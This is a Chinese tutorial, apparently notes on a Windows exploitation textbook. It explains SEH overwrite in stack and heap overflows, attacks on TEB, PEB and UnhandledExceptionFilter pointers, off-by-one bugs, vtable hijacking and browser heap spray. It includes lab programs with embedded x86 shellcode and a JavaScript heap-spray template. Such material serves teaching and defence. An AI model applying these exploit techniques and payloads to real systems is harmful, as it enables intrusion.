形形色色的内存攻击技术


Windows异常处理机制

S.E.H概述

为保证系统在遇到错误时(除零、非法内存访问、文件打开错误、内存不足、磁盘读写错误、外设操作失败等)不至于直接崩溃,而能够正常的继续运行,Windows提供了异常处理机制。

S.E.H即异常处理结构体(Structure Exception Handler),每个S.E.H包含两个DWORD指针:S.E.H链表指针异常处理函数句柄

+---------------------------+
| DWORD: Next S.E.H recoder |
+---------------------------+
| DWORD: Exception handler  |
+---------------------------+

关于S.E.H的大致流程:

  1. S.E.H 结构体存放在系统栈中
  2. 当线程初始化时,会自动向栈中安装一个S.E.H,作为线程默认的异常处理
  3. 如果程序源代码中使用了__try{}__except{}或者Assert宏等异常处理机制,编译器将 最终通过向当前函数栈帧中安装一个S.E.H 来实现异常处理
  4. 栈中一般会同时存在多个S.E.H
  5. 栈中的多个S.E.H 通过链表指针在栈内由栈顶向栈底串成单向链表,位于链表最顶端 的S.E.H 通过T.E.B(线程环境块)0 字节偏移处的指针标识
  6. 当异常发生时,操作系统会中断程序,并首先从T.E.B 的 0 字节偏移处取出距离栈顶 最近的S.E.H,使用异常处理函数句柄所指向的代码来处理异常
  7. 当离“事故现场”最近的异常处理函数运行失败时,将顺着S.E.H 链表依次尝试其他的异常处理函数
  8. 如果程序安装的所有异常处理函数都不能处理,系统将采用默认的异常处理函数。通常,这个函数会弹出一个错误对话框,然后强制关闭程序

Alt

从程序设计的角度来讲,S.E.H就是在关闭程序之前,给程序一个执行预先设定的回调函数的机会。

因为S.E.H是放在栈中的,所以可以直接通过栈溢出来淹没S.E.H达到劫持程序流程的目的,基本思路如下:

  1. S.E.H 存放在栈内,故溢出缓冲区的数据有可能淹没S.E.H
  2. 精心制造的溢出数据可以把S.E.H 中异常处理函数的入口地址更改为shellcode 的起始 地址
  3. 溢出后错误的栈帧或堆块数据往往会触发异常
  4. 当Windows 开始处理溢出后的异常时,会错误地把shellcode 当作异常处理函数而 执行

栈溢出中利用S.E.H

书中的测试代码:

#include <windows.h>
char shellcode[] = "\x90\x90\x90...";
DWORD MyExceptionhandler(void)
{
    printf("got an exception, press Enter to kill proces!\n");
    getchar();
    ExitProcess(1);
}

void test(char * input)
{
    char buf[200];
    int zero=0;
    __asm int 3;
    __try{
        strcpy(buf, input);
        zero=4/zero;
    }
    __except(MyExceptionhandler()){}
}
int main(void)
{
    test(shellcode);
}

代码相关说明:

  1. 函数 test 中存在典型的栈溢出漏洞
  2. __try{}会在 test 的函数栈帧中安装一个S.E.H 结构
  3. __try中的除零操作会产生一个异常
  4. 当strcpy 操作没有产生溢出时,除零操作的异常将最终被MyExceptionhandler 函数 处理
  5. 当strcpy 操作产生溢出,并精确地将栈帧中的S.E.H 异常处理句柄修改为shellcode 的 入口地址时,操作系统将会错误地使用shellcode 去处理除零异常,也就是说,代码植入成功
  6. 异常处理机制与堆分配机制类似,会检测进程是否处于调试状态,如果是用调试器加载,异常处理就会进入调试状态下的处理流程

接下来需要确定两个地址:

  1. shellcode的起始地址
  2. 栈帧中S.E.H回调句柄的偏移

第一个很好确定,先尝试写入一堆’\x90’,然后就可以得到shellcode的起始地址:

Alt

接下来是回调句柄的偏移,OD的菜单View下的SEH chain可以显示出当前栈中所有的S.E.H结构的位置和其注册的异常回调函数句柄:

Alt Alt

得到偏移为0x12ff6c-0x12fe98=0xd4(212),所以有以下shellcode:

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x98\xFE\x12\x00";

重新编译之后就可以看到熟悉的弹框了:

Alt

堆溢出中利用S.E.H

堆中发生溢出之后往往同时伴随着异常的产生,所以S.E.H也是堆溢出中DWORD SHOOT常常选用的目标。

书中的实验代码:

#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x88\x06\x36\x00"//0x00520688 is the address of shellcode in first
//Heapblock
"\x90\x90\x90\x90";//target of DWORD SHOOT
DWORD MyExceptionhandler(void)
{
    ExitProcess(1);
}
int main(void)
{
    HLOCAL h1 = 0, h2 = 0;
    HANDLE hp;
    hp = HeapCreate(0,0x1000,0x10000);
    h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
    memcpy(h1,shellcode,0x200);
    __asm int 3
    __try
    {
        h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    }
    __except(MyExceptionhandler()){}
    return 0;
}

大致思路为:

  1. 溢出第一个堆块的数据到后面的空闲块,第二次分配时发生DWORD SHOOT
  2. 将S.E.H的异常回调函数地址作为DWORD SHOOT的目标,将其替换为shellcode的入口地址,完成攻击

在完成攻击之前我们需要两个地址,一是shellcode的地址,二是对应的异常回调函数的地址。shellcode的地址通过调试就可以确定,而对于异常回调函数需要设置OD的选项:

“options” -> “debugging option” -> “Exceptions”,选项中没有任何忽略的异常:

Alt

这是运行程序,OD会在捕捉到异常之后自动断下:

Alt

然后这是通过SEH chain查看得到的SEH就是即堆溢出触发异常对应的SEH结构体:

Alt Alt

随后只需稍微修改shellcode就可以完成攻击了:

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x88\x06\x36\x00"//0x00520688 is the address of shellcode in first
//Heapblock
"\x30\xff\x12\x00";//target of DWORD SHOOT

深入Windows异常处理

  • 不同级别的S.E.H

异常处理最小的作用域是线程,每个线程都拥有自己的S.E.H链表,当线程发生错误时首先将使用自身的S.E.H进行处理。

一个进程中可能同时存在多个线程,一个进程中也有一个能够“总揽全局”的异常处理。此外,操作系统还会为所有程序提供一个默认的异常处理;当所有的异常处理都无法处理错误时,这个默认的异常处理函数最终就会被调用,其结果一般是显示一个错误的对话框。

对前面的异常处理流程补充如下:

  1. 首先执行线程中距离栈顶最近的S.E.H的异常处理函数
  2. 若失败,则依次执行S.E.H链表中后续的异常处理函数
  3. 若S.E.H链中的所有异常处理函数都没能处理异常,则执行进程中的异常处理
  4. 若仍然失败,系统默认的异常处理将被调用,程序崩溃的对话框弹出
  • 线程的异常处理

线程中通过TEB引用S.E.H链表依次尝试处理异常,其用于处理异常的回调函数的四个参数:

  1. pExcept:指向一个非常重要的结构体EXCEPTION_RECORD。该结构体包含了若干 与异常相关的信息,如异常的类型、异常发生的地址等
  2. pFrame:指向栈帧中的S.E.H 结构体
  3. pContext:指向Context 结构体。该结构体中包含了所有寄存器的状态
  4. pDispatch:未知用途

在回调函数执行前,操作系统会将上述异常发生时的断点信息压栈。根据这些对异常的描 述,回调函数可以轻松地处理异常

异常处理函数可能返回两种结果:

  1. 0 (ExceptionContinueExcetution):代表异常被成功处理,将返回原程序发生异常的地方, 继续执行后续指令
  2. 1 (ExceptionContinueSearch):代表异常处理失败,将顺着S.E.H 链表搜索其他可用于异 常处理的函数并尝试处理

线程的异常处理中的unwind操作:为了避免在进行多次异常处理,甚至进行互相嵌套的异常处理时(执行异常处理函数中又产生异常),仍能使这套机制稳定、正确地执行而设计的

当异常发生时,系统会顺着S.E.H 链表搜索能够处理异常的句柄;一旦找到了恰当的句,系统会将已经遍历过的S.E.H 中的异常处理函数再调用一遍,这个过程就是所谓的unwind 操作,这第二轮的调用就是unwind 调用

unwind 会在真正处理异常之前将之前的S.E.H 结构体从链表中逐个拆除。当然,在拆除前会给异常处理函数最后一次释放资源、清理现场的机会,所以我们看到的就是线程的异常处理函数被调用了两次

  • 进程的异常处理

进程的异常处理需要通过API函数SetUnhandledException来注册,后者是 kernel32.dll的导出函数

进程的异常处理函数返回值有三种:

  1. 1(EXCEPTION_EXECUTE_HANDLER):表示错误得到正确的处理,程序将退出
  2. 0(EXCEPTION_CONTINUE_SEARCH):无法处理错误,将错误转交给系统默认的 异常处理
  3. -1(EXCEPTION_CONTINUE_EXECUTION):表示错误得到正确的处理,并将继续 执行下去。类似于线程的异常处理,系统会用回调函数的参数恢复出异常发生时的断 点状况,但这时引起异常的寄存器值应该已经得到了修复
  • 系统默认的异常处理U.E.F

如果进程异常处理失败或者用户根本没有注册进程异常处理,系统默认的异常处理函数 UnhandledExceptionFilter()会被调用

  • 异常处理流程的总结
  1. CPU 执行时发生并捕获异常,内核接过进程的控制权,开始内核态的异常处理
  2. 内核异常处理结束,将控制权还给ring3
  3. ring3 中第一个处理异常的函数是ntdll.dll 中的KiUserExceptionDispatcher()函数
  4. KiUserExceptionDispatcher()首先检查程序是否处于调试状态。如果程序正在被调试,会将异常交给调试器进行处理
  5. 在非调试状态下,KiUserExceptionDispatcher()调用RtlDispatchException()函数对线程的S.E.H 链表进行遍历,如果找到能够处理异常的回调函数,将再次遍历先前调用过的S.E.H 句柄,即unwind 操作,以保证异常处理机制自身的完整性
  6. 如果栈中所有的S.E.H 都失败了,且用户曾经使用过SetUnhandledExceptionFilter()函数设定进程异常处理,则这个异常处理将被调用
  7. 如果用户自定义的进程异常处理失败,或者用户根本没有定义进程异常处理,那么系统默认的异常处理UnhandledExceptionFilter()将被调用。U.E.F 会根据注册表里的相关信息决定是默默地关闭程序,还是弹出错误对话框

这个流程是基于Windows2000平台的,Windows XP 及其以后的操作系统的异常处理流程大致相同,只是KiUserExceptionDispatcher()在遍历栈帧中的S.E.H 之前,会去先尝试一种新加入的异常处理类型V.E.H(Vectored Exception Handling)

其他异常处理机制的利用思路

  • V.E.H

从windows xp开始,在全面兼容以前的S.E.H异常处理的基础上,新增了新的异常处理:V.E.H(Vectored Exception Handler,向量化异常处理)

几点说明:

  1. V.E.H 和进程异常处理类似,都是基于进程的,而且需要使用API 注册回调函数

         PVOID AddVectoredExceptionHandler(
         ULONG FirstHandler,
         PVECTORED_EXCEPTION_HANDLER VectoredHandler
         );
    
  2. MSDN上对V.E.H结构的描述

         struct _VECTORED_EXCEPTION_NODE
         {
             DWORD m_pNextNode;
             DWORD m_pPreviousNode;
             PVOID m_pfnVectoredHandler;
         }
    
  3. 可以注册多个V.E.H,V.E.H 结构体之间串成双向链表,因此比S.E.H 多了一个前向 指针
  4. V.E.H 处理优先级次于调试器处理,高于S.E.H 处理;即iUserExceptionDispatcher()首先检查是否被调试,然后检查V.E.H 链表,最后检查S.E.H 链表。
  5. 注册V.E.H 时,可以指定其在链中的位置,不一定像S.E.H 那样必须按照注册的顺序 压入栈中,因此,V.E.H 使用起来更加灵活
  6. V.E.H 保存在堆中
  7. unwind 操作只对栈帧中的S.E.H 链起作用,不会涉及V.E.H 这种进程类的异常 处理
  • 攻击TEB中的S.E.H头节点

线程的S.E.H链通过TEB的第一个DWORD标识(fs:0), 这个指针永远指向离栈顶最近的那个S.E.H,如果能够修改这个指针,在异常发生时就能引导程序到shellcode中去执行

TEB相关:

(1)一个进程中可能同时存在多个线程 (2)每个线程都有一个线程环境块TEB (3)第一个TEB 开始于地址0x7FFDE000 (4)之后新建线程的TEB 将紧随前边的TEB,之间相隔0x1000 字节,并向内存低址方向增长 (5)当线程退出时,对应的TEB 也被销毁,腾出的TEB 空间可以被新建的线程重复使用

Alt

当遇到多线程的程序(尤其是服务器程序)时,很难判断当前线程是哪个一个,对应的TEB在什么位置,因此,攻击TEB中的S.E.H头节点的方法一般用于单线程

  • 攻击U.E.F

U.E.F(UnhandledExceptionFilter())即系统默认的异常处理函数,是系统处理异常的最后一个环节,如果利用堆溢出产生的DWORD SHOOT修改这个函数的句柄,在制造一个其他异常处理都无法处理的异常,那么就可以进入到shellcode执行

U.E.F会根据操作系统、补丁版本不同而不同,确定U.E.F句柄的具体方法是反汇编kernerl32.dll中的导出函数SetUnhandledExceptionFilter()

Alt

在异常发生时,EDI仍然指向堆中离shellcode不远的地方,把U.E.F的句柄覆盖成call dword ptr[edi+0x78]的指令地址,往往就能让程序跳到shellcode中,除此之外还有其他指令:

    call dword ptr [ESI+0x4C]
    call dword ptr[EBP+0x74]
  • 攻击PEB中的函数指针

当U.E.F 被使用后,将最终调用ExitProcess()来结束程序。ExitProcess()在清理现场的时候需要进入临界区以同步线程,因此会调用RtlEnterCriticalSection()和RtlLeaveCriticalSection()。

ExitProcess()是通过存放在PEB 中的一对指针来调用这两个函数的,如果能够在DWORD SHOOT 时把PEB 中的这对指针修改成shellcode 的入口地址,那么,在程序最终结束时, ExitProcess()将启动shellcode

比起位置不固定的TEB,PEB 的位置永远不变,因此,这种方法比H淹没TEB 中S.E.H 链头节点的方法更加稳定可靠

off-by-one

Halvar Flake 在“Third Generation Exploitation”中按照攻击的难度把漏洞利用技术分为三个层次:

  1. 第一类是基础的栈溢出利用,攻击者可以利用返回地址等轻松劫持进程,植入shellcode
  2. 第二类是高级的栈溢出利用,这种情况下,栈中有诸多限制因素,溢出的数据往往只能覆盖EBP的部分数据即off-by-one
  3. 第三类则是堆溢出利用以及格式化串漏洞的利用

对于off-by-one大多数情况是由于边界限制不够严格导致的单字节溢出,只溢出一个字节在大多数情况下并不是很严重的一件事情,但是在特定情况下就可能演变成安全漏洞。比如说下面的这部分代码,就存在数组边界限制不严格的情况:

void off_by_one(char * input)
{
    char buf[200];
    int i=0,len=0;
    len=sizeof(buf);
    for(i=0; input[i]&&(i<=len); i++)
    {
        buf[i]=input[i];
    }
    ……
}

数组下标从0开始,而for循环的终止条件是i<=len,所以会导致buf[i]=input[i]执行len+1次,进而存在一个单字节溢出的问题。

当缓冲区后面紧跟着EBP和返回地址时,溢出数组的一个字节就刚好可以修改EBP的低字节数据(x86是小端模式),换句话说,我们可以通过单字节的溢出改写EBP的低字节,进而在255个字节范围内移动EBP:

Alt

如果EBP刚好移动到可控制的缓冲区内时,就可能劫持进程执行shellcode。此外,off-by-one也可能破坏重要的邻接变量,从而导致程序流程改变或者整数溢出等更深层次的问题。

C++的虚函数

多态是面向对象的一个重要特性,在c++中这个特性主要靠对虚函数的动态调用来体现,对于虚函数:

  1. C++类的成员函数在申明时,若使用关键字virtual进行修饰,则被称为虚函数
  2. 一个类中可能有多个虚函数
  3. 虚函数的入口地址被统一保存在虚表Vtable中
  4. 对象在使用虚函数时,先通过虚表指针找到虚表中取出最终函数入口地址进行调用
  5. 虚表指针保存在对象的内存空间中,紧接着虚表指针的是其他成员变量
  6. 虚函数只有通过对象指针的引用才能显示出其动态调用的特性

Alt

如果对象的成员变量发生了溢出,就有机会修改对象中的虚表指针会修改虚表中的虚函数指针进而劫持程序流程。

书中的示例代码:

#include "windows.h"
#include "iostream.h"

char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x64\xBA\x40\x00";//set fake virtual function pointer

class Failwest
{
public:
    char buf[200];
    virtual void test(void)
    {
        cout<<"Class Vtable::test()"<<endl;
    }
};
Failwest overflow, *p;
void main(void)
{
    char * p_vtable;
    p_vtable=overflow.buf-4;//point to virtual table
    //__asm int 3
    //reset fake virtual table to 0x004088cc
    //the address may need to ajusted via runtime debug
    p_vtable[0]=0x14;
    p_vtable[1]=0xBB;
    p_vtable[2]=0x40;
    p_vtable[3]=0x00;
    strcpy(overflow.buf,shellcode);//set fake virtual function pointer
    p=&overflow;
    p->test();
}

代码的大致思路为:通过p_vtable修改虚表指针指向shellcode末尾,然后再shellcod末尾附上shellcode的首址,使函数调用虚函数时通过指针直接执行shellcode

Alt

关于这里虚函数入口地址的问题,实际上我们只需要找到shellcode对应的地址即overflow.buf的地址,然后加上shellcode的长度176(0xb0)即可

由于虚表指针位于成员变量之前,溢出只能向后覆盖数据,所以这种溢出在”栈溢出”场景下有一定的局限性。(这里的“栈溢出”仅是连续的线性覆盖,因为对象的内存空间位于堆中,但是没有涉及DWORD SHOOT)

如果内存中存在多个对象,且能够溢出到下一个对象的空间区,这种攻击方式就有用武之地了:

Alt

对于DWORD SHOOT的利用场景,攻击虚函数会更容易,可以直接修改虚表指针或者直接修改虚函数指针

Heap Spray:堆与栈的协同攻击

在针对浏览器的攻击中,常常会结合使用堆和栈协同利用漏洞:

  1. 当浏览器或其使用的ActiveX 控件中存在溢出漏洞时,攻击者就可以生成一个特殊的HTML 文件来触发这个漏洞
  2. 不管是堆溢出还是栈溢出,漏洞触发后最终能够获得EIP
  3. 有时我们可能很难在浏览器中复杂的内存环境下布置完整的shellcode
  4. 页面中的JavaScript 可以申请堆内存,因此,把shellcode 通过JavaScript 布置在堆中 成为可能

使用Heap Spray时,一般 会将EIP指向堆区的0x0c0c0c0c位置,然后用Javascript申请大量内存,并用包含’\x90’和shellcode来覆盖这片内存。

通常,JavaScript 会从内存低址向高址分配内存,因此申请的内存超过200MB(200MB=200×1024×1024 = 0x0C800000 > 0x0C0C0C0C)后,0x0C0C0C0C 将被含有shellcode 的内存片覆盖。只要内存片中的0x90 能够命中0x0C0C0C0C 的位置,shellcode 就能最终得到执行:

Alt

书中给了这样一段js代码:

var shellcode=unescape("....." ) ;
var nop=unescape("%u9090%u9090");
while (nop.length<= 0x100000/2)
{
    nop+=nop;
}
//generate 1MB memory block which full filled with "nop"

//malloc header = 32 bytes
//string length = 4  bytes
//NULL terminator = 2 bytes
//

nop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2 );
var slide = new Array();//fill 200MB heap memory with our block
for (var i=0; i<200; i++)
{
    slide[i] = nop + shellcode;
}
  1. 产生一个大小为1MB且被填充为0x90的数据(变量nop)
  2. javascript会为申请的内存加上额外的信息,所以需要减去这些额外信息所占的空间以确保大小刚好是1MB
  3. 最后生成一个0x90和shellcode组成的“内存片”
  4. 使用200个这样的内存片来覆盖堆内存,只要其中任意一片的0x90能够覆盖0x0c0c0c0c,就可以成功攻击

Alt

Javascript为申请的内存添加的额外信息:

~ size 说明
malloc header 32bytes 堆块信息
string length 4bytes 表示字符串长度
terminator 2bytes 字符串结束符,两个字节的NULL

使用1MB大小作为内存片单位的原因

  1. 在Heap Spray 时,内存片相对于shellcode 和额外的内存信息来说应该“足够大”,这样nop 区域命中0x0C0C0C0C 的几率将相对增加
  2. 如果内存片较小,shellcode 或额外的内存信息将有可能覆盖0x0C0C0C0C,导致溢出失败
  3. 1MB的内存相对于200 字节左右的shellcode,可以让exploit 拥有足够的稳定性